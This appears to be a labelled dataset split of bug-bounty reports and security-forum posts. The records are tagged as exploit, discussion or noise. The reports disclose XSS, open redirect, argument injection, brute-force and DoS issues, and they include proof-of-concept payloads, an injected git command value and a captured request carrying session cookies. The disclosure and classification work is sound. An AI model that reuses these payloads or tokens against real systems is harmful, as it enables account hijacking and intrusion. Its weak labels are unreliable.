-{"id": "df5cd4a08f3083f7505d", "text": "[Cross-site Scripting (XSS) - Generic] XSS in Acronis Cloud Manager Admin Portal\n\nHello,\n\nHope you are doing well. I wanted to report the following security vulnerability:\n\nThe Acronis Cloud Manager Admin Portal default swagger UI is vulnerable to cross site scripting. I have the API running locally on my machine. I have attached screenshots of the XSS\n\nThe URL is:\nhttps://localhost:16080/swagger/index.html?url=███/xss/index.html\n\nDocumentation on how to access the API is available here:\nhttps://kb.acronis.com/content/64702\n\nIf you would like to reproduce this, you need to setup the Cloud Manager admin portal. To do so, you can take the following steps:\n1) Download the cloud manager here (free trial): https://www.acronis.com/en-us/products/cloud-manager/\nOnce you do that, you will need to install the Acronis Cloud Manager console and the Acronis Cloud Manager web portal. The guide is available here:\n\nhttps://dl.acronis.com/u/rc/GSG_AcronisCloudManager_5.0_EN-US.pdf?fbclid=IwAR0yOcDjRDPgkXlwNX5Qj0-B4wjOK2d9s76IipnmE_jZiRY_2CSZy3AuJMk\n\nI recommend unzipping the download file in the email and installing this directly on a Windows system rather than using the ISO. I think that will be easier.\n\nIn order to get those setup, you need a valid database to connect to. You can use the following links to get one setup.\n2) Download sql server express  (https://go.microsoft.com/fwlink/?linkid=866658)\n3) Download sql server management studio (https://docs.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver15)\n\nOnce you have it sql server setup, you need to create a user that you can use to connect to the database from the Acronis setup guide, to get everything working. Once it is setup, the default swagger url available to all installations, is vulnerable to XSS.\n\n## Impact\n\nThe swagger site allows you to enter in different credentials to test API methods via the Authorize Button on the right side. The methods in scope are very sensitive based on the nature of this application and generally only admins would be testing the API methods with their credentials.\n\nWith XSS here we would have the opportunity to target admin users and access very sensitive data. More information on XSS is available here: https://www.packetlabs.net/cross-site-scripting-xss/\n\nIf someone were to deploy this API to the cloud or another location, it would be an easy target. Right now I just have it running locally.\n\nThe swagger instance running is using an older version of dom-purfiy. If you upgrade the instance, that should fix this issue.\n\nLet me know if you have questions. Thanks!\nBen", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "64964d59c175c2b4ae20", "text": "[Code Injection] CVE-2022-21831: Possible code injection vulnerability in Rails / Active Storage\n\nOriginal report: https://hackerone.com/reports/1154034\nRails advisory: https://discuss.rubyonrails.org/t/cve-2022-21831-possible-code-injection-vulnerability-in-rails-active-storage/80199\nBlogpost: https://blog.convisoappsec.com/en/cve-2022-21831-overview-of-the-security-issues-we-found-in-railss-image-processing-api/\n\nIf the report is eligible for a bounty, please split it equally between me and @rsilva, if possible.\n\n## Impact\n\nVulnerable code patterns could allow the attacker to achieve RCE.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-21831"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "44c0eae6c704fb7d5cc0", "text": "[Improper Restriction of Authentication Attempts] [rt.torproject.org] No Rate Limitting on Login Form\n\nHello Team,\n\n**Description**\nI just Notice that you didn't implement a captcha or Rate Limiting on one of your sub-domain which is vulnerable to brute force.\n\n**Proof Of Concept**\nDownload {F218177} \nYou can use your own wordlist to test my python script\nUsage:\n```\n~$ python tor.py -t username -p passwordlist.txt\n```\nit should be just like this if the script runs \n{F218178}\n\nResults on burpsuite when i try to login 500 times\n{F218179}\n\n**Fix / Mitigation**\nYou can implement a Rate Limit or Captcha in Login Form :)\n\nLet me know if you needs more info and i will look forward to your reply.\nKind Regards,", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9f75861e55a4243a9e7f", "text": "What are the vulnerabilities of Windows 10\n\nits just a simple question …", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-08-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "82f5a672db59b5453e5a", "text": "I have added the correct url where the ipaddress mentioned is the one which corresponds to the tun0 on my local machine , but still on hitting the url no events are generated", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "87b006c53c5ea89beb52", "text": "[Open Redirect] Open Redirect at █████\n\nOpen Redirect on https://███\n\nUser can be redirect to malicious site\nPOC: ████████/texis/search/redir.html?query=1234&pr=External+Meta&prox=page&rorder=500&rprox=500&rdfreq=500&rwfreq=250&rlead=500&rdepth=62&sufs=3&order=r&u=http://evil.com&m=0&p=2\n\nI hope you know the impact of open redirect and more info refer\n\nhttps://cwe.mitre.org/data/definitions/601.html\n\n## Impact\n\nUser can be redirect to malicious site.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nJust open:  █████/texis/search/redir.html?query=1234&pr=External+Meta&prox=page&rorder=500&rprox=500&rdfreq=500&rwfreq=250&rlead=500&rdepth=62&sufs=3&order=r&u=http://evil.com&m=0&p=2\n\nVulnerable parameter: u=\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "444d56e31e78c3517f4c", "text": "danishen6696: dpkg -l | grep -c ‘^ii’ This worked for me dpkg -l | grep -c ‘^ii’", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d75c98b21b996e4c7e9a", "text": "[Path Traversal] Multiple Path Transversal Vulnerabilites\n\nI have found multiple path transversal in *.torproject.org\nPOC:\n[+] https://www.torproject.org/about/findoc/\n[+] https://people.torproject.org/~infinity0/\n[+] https://deb.torproject.org/torproject.org/\nThere are many many others which can be accessed by searching following in google:\ninurl:\"index of\" site:torproject.org\nI know that its out of scope of your bounty program but I thought I should tell you about it.\nRegards!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8d90864b4d8f56d26b61", "text": "[Cross-site Scripting (XSS) - Reflected] Cross-site scripting on api.collabs.shopify.com\n\n## Summary:\nShopify collabs (collabs.shopify.com) is a new platform for content creators / influencers to discover and advertise the millions of brands of Shopify. The content creators can apply for different brands on this platform and get paid (affiliate marketing).\nI discovered a cross-site scripting vulnerability on this quite new domain. \n\n## Steps To Reproduce:\n\n  1. Visit https://www.shopify.com/collabs/find-brands and click on \"Apply for early access\"\n  2. Create a new Shopify ID / account\n  3. You get redirected to https://collabs.shopify.com/onboarding:  \n{F1871170}\n  4. Connect your social media account to your profile (e.g. Instagram), edit your content, etc.\n  5. You should now be successfully registered  (early bird access - waiting list):  \n{F1871169}\n  6. As you are logged in, open the URL `https://api.collabs.shopify.com/creator/auth/login?creator_redirect=javascript:alert(document.domain)` and you will see that the JavaScript has triggered:  \n{F1871171}\n\n\n\n## Supporting Material:\n[list any additional material (e.g. screenshots, video, etc)]\n\n  * [attachment / reference]\n\n## Impact\n\n* Execution of JavaScript code in the victim's browser => Execution of any future API functions of api.collabs.shopify.com in the name of the victim\n* Exfiltration of confidential data\n* etc.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d898419dcfb849391a76", "text": "SQL injection question\n\nHey! I am searching for my first bug and have a question. If I try to inject SQL query i get “Access Denied” error: q2 736×34 5.46 KB But if i double encode this query it loads the page, but gives me non-empty result (my query “AND 2=1” should always be false) q1 1064×50 6.61 KB My question is - does this mean that there is an SQL injection and double encoding bypasses filter?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-06-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ccecac4675f1d19ed9ab", "text": "[Unknown] C/C++: Command injection via wordexp\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "29fb22f2156e50f607e3", "text": "[Unknown] Golang : Add Query To Detect PAM Authorization Bugs\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6bd700c420721056d933", "text": "I’m currently stuck on digging in, either i’m stupid or is has something to do with dig /dns enumeration, can anyone give me a small hint? and why i can readout the flag for overflown?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-10-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "56cee84c92192da8f294", "text": "[Improper Access Control - Generic] Any one can view collaborater email address via  path /reports/<id>/participants\n\nHello team,\n\nI can able to find while inviting a collaborator to my report i must enter his/her username or mail id but what if the user doesnt have an account in hackerone we need to gave the email so i gave an email to invite a collaborator and i viewed the request in burp below.\n\n\nStep to reproduce:\n\n1:  select a report of yours \n2: add a user to that report as collaborator with an email of unaccounted user in hackerone\n3: now after successfully invited that collaborator view the below request\n\n```\nGET /reports/<REPORT ID>/participants HTTP/2\nHost: hackerone.com\nCookie: h1_device_id=da6b4e1e-7e67-46fc-85f0-b7eb0ce35f63; __Host-session=b2U1bThJMlVxcGdQM3MvcEw4NDFMRDcyMTY2ejFQTmRUM1BmUWJOZzlOL3liZjllQjlPQjlyekh4QjFVWGtMbDFjQ0JUbFpTUzNIK2ZqSWI4SmR6NmhPY2pCbG0vbFViTVhBdk1IbzYxVDEvdHVBakxPSEZBdndtSVJ3WDVkbTBIR0dXaHgvNWpYTU5GZFhDc2E1aGErVW1DOElUVlNSbklFMkRyWnhyTVJKODIxSERFSm5iZHJDRit5MER5aG5URk9YSy9RSExPNzJwOStkZm04OXhKY2d5V3pqdlkybmdhS2xoQVlpZnVMWFVTMGs0VnY1RlB4dGFkV2JEdTRQemV3WmdoMGtFWVB2a1lnNDBLL3RPSFM3WmJlOWhhNW5ZYW9QL2FNNVFBYTlYNHVjY2g5UmwyT2FrT2VjQU5kZktlQlJ2ZzBLSE1zZXZJTFdQN2hKYXlvT0xhbmpPL09oZXM3OWtqK2xJVy9DWVpkNUx1T0V6NHd5dDYvNStFM1VmUitpMUhzOUFISUx4clpKSDFMbVBFc2hQb2hGbGVQSXRBZFN2Wno5a1BDbVVka09mbUJ2c3gyWDNLTDFMV1dkUTdMNE52U3BCSFQwS0RKUzljZEFLL2lBa0d3SDNPaVZ1WG43Z0ZXRUlMeVVQTWhRbHY0T2lCdkk3elZxNVFjR3o1Q3VTYU9qYmZSNlNpbDR3OXVPN1B2RlNOUlJ2VFozZGdGeHRRa0IzaEJlUmgvcklEaXQxN2NGZkZ2R3Y0alJrYkl5aFdCbzNGS1JNSU5hUTd0RDRWN0grV0N3c1NrT3NuUU5IYXZmN3hxQmwyN05EVlozQlVETVBtMC9TcHcwUUhDeVU2ZElDRXFCZUdMd0ExRE9wSDVKMFRLbHA4RE5CajhJK2JrZndQWEYvU0FMMUxYcmxEc1RzOXBQZWp3RmYtLXdtSUdLcFNUUjN2dUF1aVY4T0NpSFE9PQ%3D%3D--6dc5688902c36c0edb857120e9bd8665e5170af5; cf_clearance=5vpfeLN93oq5Ya6zAU922X6WutTn5zr1K6sJZLcC_vM-1679832536-0-160; AMP_b7cba2c14c=JTdCJTIyZGV2aWNlSWQlMjIlM0ElMjIzOWIyMGZkMC1lNzkxLTRmYjYtYmM4Yy01NmZkNTg1NzJhZTclMjIlMkMlMjJ1c2VySWQlMjIlM0ElMjJhODc0ZDkzMC0wYjhlLTQ4MDAtYTgzNy03ODhhZDBiYmIxOTQlMjIlMkMlMjJzZXNzaW9uSWQlMjIlM0ExNjc5ODMyNTM3NjYyJTJDJTIyb3B0T3V0JTIyJTNBZmFsc2UlMkMlMjJsYXN0RXZlbnRUaW1lJTIyJTNBMTY3OTgzNzc4OTQyNCU3RA==; _dd_s=rum=0&expire=1679838753537; AMP_MKTG_b7cba2c14c=JTdCJTIycmVmZXJyZXIlMjIlM0ElMjJodHRwcyUzQSUyRiUyRmhhY2tlcm9uZS5jb20lMkZ1c2VycyUyRnNpZ25faW4lM0ZfX2NmX2NobF90ayUzRHA4cDlfbWFhNmYwVVFGVG9sc2ZPUGdXZ3lITVZhQXhkQ0kyeS42QUtpZ2MtMTY3OTgzMjUzNi0wLWdhTnljR3pORFZBJTIyJTJDJTIycmVmZXJyaW5nX2RvbWFpbiUyMiUzQSUyMmhhY2tlcm9uZS5jb20lMjIlN0Q=; app_signed_in=true; intercom-session-zlmaz2pu=bzZuM2JDdDhrTnFUWG1uWUJRY1B2M3VUNExvZlpaLzI3MTl3RG54aXdJcjA5MkxaVy9ROCt2NTIwRzl3ek1Jcy0tV0hUSVlYVGdPaVUyTTMzY01MSGxvZz09--38ddd56d970208e627e2c72f0ae8c6324d74baab; intercom-device-id-zlmaz2pu=81f9084c-a95c-4ea3-9bdb-2b9b205066f8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://hackerone.com/bugs?subject=user&report_id=1916579&view=open&substates%5B%5D=new&substates%5B%5D=needs-more-info&substates%5B%5D=pending-program-review&substates%5B%5D=triaged&substates%5B%5D=pre-submission&substates%5B%5D=retesting&reported_to_team=&text_query=&program_states%5B%5D=2&program_states%5B%5D=3&program_states%5B%5D=4&program_states%5B%5D=5&sort_type=latest_activity&sort_direction=descending&limit=25&page=1\nX-Csrf-Token: /0WTxdkHSG7HTBX5Ln0CmyeSJvlbzED1XhCIVR8fj5SxVX925l1OJZp9T/Gs9mnJiZcKSF8uowuLEkgylReFIQ==\nX-Requested-With: XMLHttpRequest\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\n\n```\n\n4:  you see a response like this :\n\n```\n\"participant_type\":\"ReportParticipants::CollaboratorInvitation\",\"id\":4049018,\"email\":\"██████████@gmail.com\",\"bounty_weight\":\"0.3\"},\n```\n\nThanks,\nalone_h1\n\n## Impact\n\nimpropper access control to view email.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "421e67fbbaa25a8f5ba7", "text": "Libc 2.34\n\nSometimes in CTF’s I observe that certain binaries are compiled with a later version of libc such as 2.34 or 2.35 and so every time I run the binary, I encounter an error message saying; ./babyheap: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.34’ not found (required by ./babyheap)` Can someone help me with patching up the binary with the libc 2.35. I tried to download libc2.35 from here", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fe57ca9652be68339dd2", "text": "[Cleartext Transmission of Sensitive Information] CVE-2023-23915: HSTS amnesia with --parallel\n\n## Summary:\ncurl overwrites HSTS cache entries if requests are performed in parallel.\n\n## Steps To Reproduce:\n\n  1. `curl --parallel --hsts hsts.txt https://site1.tld  https://site2.tld https://site3.tld`\n\nOnly one of the sites contacted will have entry in `hsts.txt` afterwards. Non-TLS connection to the other sites will not protected by TLS.\n\n## Impact\n\nRequest performed over insecure channels unexpectedly and loss of confidentiality and integrity.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-23915"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a40ccd1dd6f117089a87", "text": "[Cross-Site Request Forgery (CSRF)] Possibility to force an admin to install recommended applications\n\n## Summary:\nEndpoint /nextcloud/index.php/core/apps/recommended is accessible via GET http method and doesn't check anti-csrf token. If an admin visits this endpoint in a browser the process of installation of recommended applications begins immediately.\n\n## Steps To Reproduce:\n1. an attacker creates a malicious page on controlled domain\n1. an attacker enforce an admin to visit this page\n1. an admin visits this page\n1. applications will be installed in a while\n\n## Affected version:\nnextcloud/server: 22.2.2 (at least)\n\n## Recommendation:\nrequire requesttoken for this GET query\nor you can change behaviour so to initiate the installation process by manual click (POST query with checking of requesttoken)\n\n## [attachment / reference]\n{F1517676}\n\n## Impact\n\nIncreasing of attack surface.\nAny unused plugins should be disabled or removed. But this way allows to install them.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9e695e74c63da840e59b", "text": "[Violation of Secure Design Principles] Content spoofing on\n\nScenerio\nAn attacker can include any arbitrary text using specially crafted tor project url.\nReporting this but not sure if this is in scope (text injection not marked in exclusion list)\nKindly mark it as informative in case if it is out of scope.\n\nSteps\n1) Attacker distributed the below url by means of spamming or through his website\nGo To-\nhttps://www.torproject.org/index%20not%20found%20at%20this%20server!%20Server%20is%20currently%20on%20maintanance.%20______________________________________________________________________________________________________________________________________________________________________________________________________________%20______________________________________________________________________________________________________________________________________________________________________________________________________________%20Please%20visit%20at.HTTP:/EVIL.ATTACKER.COM%20for%20latest%20updates.%20______________________________________________________________________________________________________________________________________________________________________________________________________________%20______________________________________________________________________________________________________________________________________________________________________________________________________________%20Changes%20are%20in%20progress\n2) Since the text came from official site so user believes and gets into attacker trap.\n\nBest Regards\nAryan.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5ff0da18a5ae526feb21", "text": "[Uncontrolled Resource Consumption] Inviting excessive long email addresses to a calendar event makes the server unresponsive\n\n## Summary:\nDue to the absence of a character limit in the email address field when sending emails, requests containing lengthy email addresses causes the server to get delay response, ultimately resulting in a denial of service.\n\n\n## Steps To Reproduce:\n1. As, a low privileged user, go to https://serveraddress/apps/calendar/dayGridMonth/now and create a new calendar.\n\n{F2480561}\n\n2. Click on Share link, click on share calendar link via email and intercept the request in burp entering a random email.\n\n3. Send the request to repeater and observe the response time. The server will respond in ~600ms.\n\n{F2480573}\n\n{F2480610}\n\n4. Now, use the attached payload of 50 MB (email_recipient.txt) in email and send the response. You will get response in about 10000 milllisecond. Larger the email length, longer will be the reponse time.\n\n\n\n{F2480615}\n\n[Note: you may use the following python script and payload attached below. POC attached :) ]\n\n## Impact\n\nDenial of service", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ef711dfeba37b4605642", "text": "[Business Logic Errors] Unclaimed official s3 bucket of tendermint(tendermint-packages) which is used by many other blockchain companies in their code\n\n## Summary:\nI have found an official unclaimed s3 bucket of tendermint i.e. http://tendermint-packages.s3-website-us-west-1.amazonaws.com/ which is also used by many other blockchain companies and developers .\n\n## Steps To Reproduce:\n\n1. Create a s3 bucket with name tendermint-packages and us west1 region\n2. Make the settings and change it as a static website\n3. You have successfully taken the s3 bucket .\n\n## POC\n1. Link of s3 bucket which shows i have claimed the bucket: http://tendermint-packages.s3-website-us-west-1.amazonaws.com/\n\n{F1510071}\n\n2. Pic of github which shows the companies that is using the unclaimed s3 bucket of tendermint:\n\n{F1510070}\n\n##Remedition\n\nCheck your internal code if there is any usage of unclaimed s3 bucket and claim the unclaimed s3 bucket(let me know when i should unclaim it from my side)\n\n## Impact\n\nAn attacker can host its contents and malicious files on the official bucket of tendermint which can cause harm to the companies or developers using your bucket for package installation and etc. This bug has a severe impact if  it is used internally by tendermint and other companies.\n\nRegards,\nGaurav Bhatia", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e4d373978d91467780b0", "text": "[Cross-site Scripting (XSS) - Reflected] [doc.rt.informaticacloud.com] Reflected XSS via Stack Strace\n\nHello.\n\n###PoC for reflected XSS:\n\n`http://doc.rt.informaticacloud.com/infocenter/ActiveVOS/v92/nav/7_1_2_3_2_1<svg/onload=alert(document.domain)>`\n\n###Response:\n\n```\n<body><h2>HTTP ERROR 500</h2>\n<p>Problem accessing /help/nav/7_1_2_3_2_1%3Csvg/onload=alert(document.domain)%3E. Reason:\n<pre>    For input string: \"1&lt;svg/onload=alert(document.domain)&gt;\"</pre></p><h3>Caused by:</h3><pre>java.lang.NumberFormatException: For input string: \"1<svg/onload=alert(document.domain)>\"\n\tat java.lang.NumberFormatException.forInputString(NumberFormatException.java:65)\n\tat java.lang.Integer.parseInt(Integer.java:492)\n\tat java.lang.Integer.parseInt(Integer.java:527)\n\tat org.eclipse.help.internal.webapp.servlet.NavServlet.getTopic(NavServlet.java:90)\n\tat org.eclipse.help.internal.webapp.servlet.NavServlet.doGet(NavServlet.java:56)\n\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:707)\n\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:820)\n\tat org.eclipse.equinox.http.registry.internal.ServletManager$ServletWrapper.service(ServletManager.java:180)\n\tat org.eclipse.equinox.http.servlet.internal.ServletRegistration.handleRequest(ServletRegistration.java:90)\n\tat org.eclipse.equinox.http.servlet.internal.ProxyServlet.processAlias(ProxyServlet.java:111)\n\tat org.eclipse.equinox.http.servlet.internal.ProxyServlet.service(ProxyServlet.java:67)\n\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:820)\n\tat org.eclipse.equinox.http.jetty.internal.HttpServerManager$InternalHttpServiceServlet.service(HttpServerManager.java:318)\n\tat org.mortbay.jetty.servlet.ServletHolder.handle(ServletHolder.java:502)\n\tat org.mortbay.jetty.servlet.ServletHandler.handle(ServletHandler.java:380)\n\tat org.mortbay.jetty.servlet.SessionHandler.handle(SessionHandler.java:181)\n\tat org.mortbay.jetty.handler.ContextHandler.handle(ContextHandler.java:765)\n\tat org.mortbay.jetty.handler.HandlerWrapper.handle(HandlerWrapper.java:152)\n\tat org.mortbay.jetty.Server.handle(Server.java:324)\n\tat org.mortbay.jetty.HttpConnection.handleRequest(HttpConnection.java:535)\n\tat org.mortbay.jetty.HttpConnection$RequestHandler.headerComplete(HttpConnection.java:865)\n\tat org.mortbay.jetty.HttpParser.parseNext(HttpParser.java:540)\n\tat org.mortbay.jetty.HttpParser.parseAvailable(HttpParser.java:213)\n\tat org.mortbay.jetty.HttpConnection.handle(HttpConnection.java:404)\n\tat org.mortbay.io.nio.SelectChannelEndPoint.run(SelectChannelEndPoint.java:409)\n\tat org.mortbay.thread.QueuedThreadPool$PoolThread.run(QueuedThreadPool.java:520)\n```\n\nIt is succeful worked in IE/MozillaFirefox.\n{F188420}\n\n###Possible Fix:\n\nDisable Stack Trace on this resource.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dc9a8803a0a09d7325ec", "text": "[Cross-site Scripting (XSS) - Stored] New /add_contacts /remove_contacts quick commands susseptible to XSS from Customer Contact firstname/lastname fields\n\n### Summary\n\nIn Gitlab 15.0.0 a new Customer Relations feature was added that allows us to use quick actions to find the contact we wish to select.\n\nHowever, I noticed that if I set the contact's first name or last name to <script>alert(document.domain)</script> we can get the XSS to trigger when we are attempting to use the quick commands to add/remove a contact.\n\n### Steps to reproduce\n\n1. Create a new group.\n1. Once the group is created, navigate to the Settings -> General options for the group.\n1. Expand the section \"Permissions and group features\" and under \"Customer Relations\" make sure \"Enable customer relations\" is selected.\n1. Return back to the group page. On the left side of the screen a new menu option will appear titled \"Customer relations\". Select it.\n1. Create a new contact with \"First name\" set to \"`<script>alert(document.domain)</script>`\" and \"Last name\" set to \"`<script>alert(document.domain)</script>`\". Provide an email address and save your changes.\n1. The user you created in the previous step should now appear as a contact on the Customer Relations page.\n1. Go to the create new project URL (https://gitlab.com/projects/new#blank_project) and under Project URL, select the Group you created earlier. Give the project a name Ex. \"CustomerProject\".\n1. Once the project has been created on the left side of the project page select \"Issues\" and then click \"New Issue\".\n1. In the description pane type \"/add_contacts\" so the popup appears, then press \"enter\" to trigger the XSS.\n\n### Impact\n\nUsers attempting to utilize the quick commands /add_contacts or /remove_contacts could inadvertently trigger XSS while attempting to add/remove a customer to an issue.\n\n### Examples\n\nThis bug was discovered originally on my self-hosted 15.0.0 but is reproducible on gitlab.com.\n\nCreate a contact with the payload in firstname and lastname fields\n{F1740002}\n\nCreate a new issue and type \"/add_contacts\" in the markdown text area to trigger the popup to appear\n{F1740003}\n\nPress enter, which will trigger the XSS when attempting to load the list of contacts\n{F1740004}\n\n### What is the current *bug* behavior?\nThe HTML special characters are not escaped, allowing an iframe to be injected into the page with XSS.\n\n### What is the expected *correct* behavior?\n\nThe HTML special characters would be escaped and shown in the diagram.\n\n### Output of checks\n\nThis bug is reproducible on Gitlab.com\n\n#### Results of GitLab environment info\n\n```System information\nSystem:         Ubuntu 20.04\nProxy:          no\nCurrent User:   git\nUsing RVM:      no\nRuby Version:   2.7.5p203\nGem Version:    3.1.4\nBundler Version:2.2.33\nRake Version:   13.0.6\nRedis Version:  6.2.6\nSidekiq Version:6.4.0\nGo Version:     unknown\n\nGitLab information\nVersion:        15.0.0-ee\nRevision:       3b397c17532\nDirectory:      /opt/gitlab/embedded/service/gitlab-rails\nDB Adapter:     PostgreSQL\nDB Version:     12.10\nURL:            http://gitlab-pentest4.example.com\nHTTP Clone URL: http://gitlab-pentest4.example.com/some-group/some-project.git\nSSH Clone URL:  git@gitlab-pentest4.example.com:some-group/some-project.git\nElasticsearch:  no\nGeo:            no\nUsing LDAP:     no\nUsing Omniauth: yes\nOmniauth Providers:\n\nGitLab Shell\nVersion:        14.3.0\nRepository storage paths:\n- default:      /var/opt/gitlab/git-data/repositories\nGitLab Shell path:              /opt/gitlab/embedded/service/gitlab-shell```\n\n## Impact\n\nJavaScript execution as the authenticated user when the user attempts to add or remove a contact for the new customer relations feature.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e5633a6fdb08fe452c95", "text": "[Unknown] Git Arg Injection in  kubernetes-sigs/release-sdk\n\nTechnical Details: It's possible to get a command injection via argument injection.\n\nThe LSRemoteExec function (https://github.com/kubernetes-sigs/release-sdk/blob/main/git/git.go#L336) is concentating user input with a git command that can be leveraged for arbritary command injection. More details of this issue can be found here: https://snyk.io/blog/argument-injection-when-using-git-and-mercurial/\n\nThe below PoC uses the git package from kubernetes-sigs, and the following payload `--upload-pack=touch${IFS}hack` is provided to it which creates a file called hack in the local system.\n\n```\npackage main\n\nimport (\n\t\"fmt\"\n\t\"github.com/kubernetes-sigs/release-sdk/git\"\n)\n\nfunc main() {\n\tfmt.Println(\"hello world\")\n\n\tvar result,err = git.LSRemoteExec(\"--upload-pack=touch${IFS}hack\",\"master\")\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\nfmt.Println(result)\n\n}\n\n```\nI see this package being used here: https://github.com/kubernetes/release/blob/master/pkg/release/branch_checker.go#L44 but i wasn't fully able to understand how branch checker was being used within the kubernetes release package.\n\n\nA possible remediation to fix this issue (it's just a suggestion - it has to be tested) could be to add `--` before user provided values.\n\nBelow similars issues with some references and suggestions on how to fix this:\n\n      * fix commit: https://github.com/composer/composer/commit/332c46af8bebdead80a2601350dff7af0ac1f490\n    * \"dispatch: stop parsing of early boolean option at \"--\"\": https://www.mercurial-scm.org/repo/hg/rev/e16f68c4abe3\n    * \"dispatch: add HGPLAIN=+strictflags to restrict early parsing of global options\": https://www.mercurial-scm.org/repo/hg/rev/c9740b69b9b7 (https://www.mercurial-scm.org/repo/hg/help/environment)\n\n## Impact\n\nIf user input flows into the `LSRemoteExec`, it could allow execution of arbritary commands.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
